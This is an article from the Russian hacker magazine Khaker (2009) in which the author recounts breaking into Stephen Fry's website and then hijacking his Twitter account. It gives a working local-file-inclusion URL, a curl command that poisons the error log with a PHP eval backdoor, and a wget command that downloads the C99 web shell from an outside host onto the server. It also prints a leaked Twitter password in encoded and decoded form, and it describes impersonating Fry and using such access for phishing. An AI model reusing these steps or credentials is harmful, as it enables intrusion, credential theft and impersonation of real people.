Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 128, АВГУСТ 2009 г.

Звездный twitter. Взлом twitter-аккаунта Стивена Фрая

Маг (icq 884888, http://wap-chat.ru)

В лентах новостей зачастую можно прочесть о том, что в очередной раз на Твиттере взломан аккаунт какой-нибудь Бритни Спирс, Джона МакКейна и иже с ними. Как правило, такие взломы не составляют большого труда и проводятся с помощью грубой силы - брутфорса (звезды любят ставить простейшие пароли). Но брутфорс - не наш метод. На примере британского комика, звезды фильмов «Автостопом по галактике» и «V — значит вендетта», Стивена Фрая я подробно расскажу о том, как быстро и легко поиметь микроблог известной личности.

Микроблоггинг

Начнем с того, что официальный сайт актера располагается по адресу http://www.stephenfry.com и представляет собой собрание постов из его блога и форума, скопище рекламных баннеров и некоторое количество промо-трейлеров, рекламирующих произведения Фрая. Также на сайте можно увидеть твиты актера - stephenfry.com/clubfry/twitter. А так как Твиттер предоставляет свой API любому желающему, то закралось подозрение, что где-то в конфигах сайта хранится и пароль к микроблогу :). Собственно, нашей конечной целью будет полный контроль над twitter-аккаунтом актера (twitter.com/stephenfry), на данный момент имеющем 644,489(!) фолловеров.

Поиск багов

Первым делом осмотрим сайт на предмет паблик движков. Из таковых присутствуют мой любимый блоговый движок WordPress и печально известный форум phpBB. Открыв исходник главной страницы блога (stephenfry.com/blog), можно наблюдать следующее:

<meta name="generator" content="WordPress 2.5.1" />

К сожалению, для 2.5.1 версии вордпресса у меня в тот момент не было под рукой необходимых эксплойтов, и пришлось отбросить этот вариант.
Далее необходимо узнать версию форума phpBB. Сделать это можно многими способами, но самый удобный - переход по ссылке с историей версий движка stephenfry.com/forum/docs/CHANGELOG.html. Так как последний change был «Changes since 2.0.20», смело можно делать вывод, что версия форума находится далеко за пределами по-настоящему юзабельных уязвимостей (если, конечно, не считать таковыми всяческие XSS и CSRF баги).
Не испытывая большого желания использовать известные XSS для этой версии phpBB, я отправился за советом к великому и могучему Гуглу с таким запросом:

site:stephenfry.com filetype:php

На этот нехитрый запрос поисковик выдал кучу ссылок на PHP-файлы, которые находились на сайте актера. Меня сразу же заинтересовала ссылка stephenfry.com/section.php?section=clubfry&subsection=twitter.

Здесь налицо два варианта: либо обращение к базе данных с соответствующими параметрами, либо инклуд файлов шаблонов.

Решив сразу проверить второй вариант, я составил запрос:

stephenfry.com/section.php?section=clubfry&subsection=/../../../../../../../../../../../../../../../../etc/passwd%00

На что движок сайта радостно выдал содержимое /etc/passwd :). Уязвимость локального инклуда с работающим нулл-байтом была найдена! Дело оставалось за малым - найти, в какой файл запихнуть злонамеренный код.

Услужливые логи

Если ты читал мою статью в прошлом номере ][, то должен знать о замечательных способах инжекта своего кода через различные символические ссылки, находящиеся в /proc/self/*.

Попробуем заюзать хранилище локальных переменных /proc/self/environ:

stephenfry.com/section.php?section=clubfry&subsection=/../../../../../../../../../../../../../../../../proc/self/environ%00

К сожалению, /proc/self/environ оказался для нас недоступен :(.

Теперь настал черед попробовать проинклудить логи. Путем нехитрого подбора выяснилось, что апачевский error_log находится в /proc/self/fd/2 (будем юзать именно его, так как access_log для такого сайта наверняка будет размером в пару-тройку гигабайт, которые окажутся неподвластными для LFI).

Зачастую в error_log записывается без всякой фильтрации переменная referer, в которую как раз таки и можно проинжектить наш PHP-код. Осталось только вызвать ошибку, которая и запишется в лог. Самой легко выполнимой является ошибка следующего формата:

[Sat Jul 11 23:39:21 2009] [error] [client x.x.x.x] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /

Чтобы вызвать такую ошибку и записать наш evil-код, достаточно лишь послать к нужному хосту хэдер с пустым заголовком Host. Сделать это можно, например, так:

z:/usr/local/bin/curl.exe "http://www.stephenfry.com/" -H "Host:" --referer "<?php eval($_GET[cmd]); ?>"

В итоге, наш код успешно запишется в error_log:

[Sat Jul 11 23:39:21 2009] [error] [client x.x.x.x] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /, referer: <?php eval($_GET[cmd]); ?>

– и мы сможем выполнять любые команды по следующей ссылке:

http://www.stephenfry.com/section.php?section=clubfry&subsection=
/../../../../../../../../../../../../../../../../proc/self/fd/2%00&cmd=phpinfo();

Проникновение

При дальнейших раскопках и использовании команды find ./ -type d -perm 0777 -ls выяснилось, что на сервере присутствуют несколько директорий, доступных для записи. Я выбрал /home/fry/public_html/img/blog_thumbs/ и залил туда C99madShell под именем blog.php с помощью wget:

http://www.stephenfry.com/section.php?section=clubfry&subsection=
/../../../../../../../../../../../../../../../../proc/self/fd/2%00&cmd=system('wget -O /home/fry/public_html/img/blog_thumbs/blog.php http://madnet.name/files/download/9_c99madshell.php');

Остается самое главное - найти доступы к обожаемому Фраем Твиттеру. А начнем мы поиск с просмотра исходника /home/fry/public_html/index.php:

<?php
include_once("lib/sf_main.php");
$aryBlogEntry = fnGetHomepageBlogArray();
$aryBlogStats = fnGetBlogStatsArray();
$aryForumStats = fnGetForumStatsArray();
$strSection = "";
$strSubSection = "";
include(SF_BASE_DIR."/templates/navigation/header.php");
...
?>

Далее - lib/sf_main.php:

<?php
include_once "sf_constants.php";
include_once "sf_db_class.php";
include_once "sf_template.php";
include_once "sf_cache_functions.php";
...
?>

И, наконец, lib/sf_constants.php:

<?php
...
// Twitter
define('SF_TWITTER_USER','stephenfry');
define('SF_TWITTER_PASSWORD','dzQxbGE4eW9uMzd3bzQ=');
...
?>

Как видно, переменная SF_TWITTER_PASSWORD зашифрована в base64, так что надо лишь пропустить это значение через функцию base64_decode и получить итоговый пароль w41la8yon37wo4.

Конечная цель почти достигнута! Пароль получен (а такой пассворд вряд ли возможно подобрать с помощью грубой силы). Осталось зайти в актерский аккаунт на twitter.com и оставить там свое послание для будущих поколений.

Твиттер

Ну-с, заходим на twitter.com, вбиваем в соответствующие поля логин stephenfry и пароль w41la8yon37wo4 и оказываемся залогиненными под аккаунтом Фрая :). После логина сервис задает нам простой вопрос «What are you doing?», на который мы с радостью отвечаем «I'll be watching you! From Russia with love :)» (результат этого нехитрого действия ты можешь видеть на скриншоте). В течение нескольких минут после отправки моего сообщения фанаты Стивена начали постить свои ответы:

RegNomSongs by The Police and Matt Monroe. This is a quiz, right? RT @stephenfry: I'll be watching you! From Russia with love :)
---
lokimaros@stephenfry How about how Дмитрий Дмитриевич Шостакович radically changed your life and listening habits.
---
NikkiG57@stephenfry tell them about Russia, Wagner and your performance at Glastonbury
---
valpanna@stephenfry I am afraid, very afraid!
---
Benn2100@stephenfry I'll be watching you too
---
thisheartbeatz@stephenfry have fun in RUSSIA! B)
---
wrathofagony@stephenfry cool in Russia? how is it???
---
CybrHwk@stephenfry Your in Russia? Where about in Russia are you Stephen?
---
chriscattaneoRT @stephenfry: I'll be watching you! From Russia with love :) ok James!
---
Betty_Bitch@stephenfry and i'll be watching you on dave, from Wales with love :)
---
sjoes@stephenfry Are you in still Russia?
---
mio@stephenfry wow o_0 where are you now, Stephen?

Похоже, никто не догадался, что аккаунт актера взломан, а фраза «From Russia with love» вовсе не означает, что Фрай сейчас находится в России.

Нехилый флешмоб

Завладев аккаунтом известной личности на каком-нибудь популярном онлайновом сервисе, можно устроить не только нехилый флешмоб, но и полноценную скам/фишинг/спам атаку. Но, конечно, самым забавным в такой ситуации было недавнее сообщение на Твиттере Бритни Спирс о ее смерти :).

P.S. Спустя пару минут я удалил свой пост из микроблога, ибо моя тонкая душевная организация не позволяет травмировать огромную армию поклонников Стивена Фрая.

INFO

Стивен Джон Фрай (Stephen John Fry) — английский писатель, актер и драматург, славу которому принесли роли в комедийных телесериалах («Чёрная Гадюка», «Шоу Фрая и Лори» и «Дживс и Вустер»). За пределами Великобритании Фрай известен в основном по роли Оскара Уайльда в фильме «Уайльд» (1997). Помимо написания сценариев и текстов для телевидения, радио, кино и театров, Фрай выступает автором статей и ведущим колонок в нескольких газетах и журналах.

DANGER

Все описанное в статье является плодом больного воображения автора. Любые совпадения с существующими сайтами случайны. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами этой статьи.

Ссылки по теме

Содержание
ttfb: 4.8480033874512 ms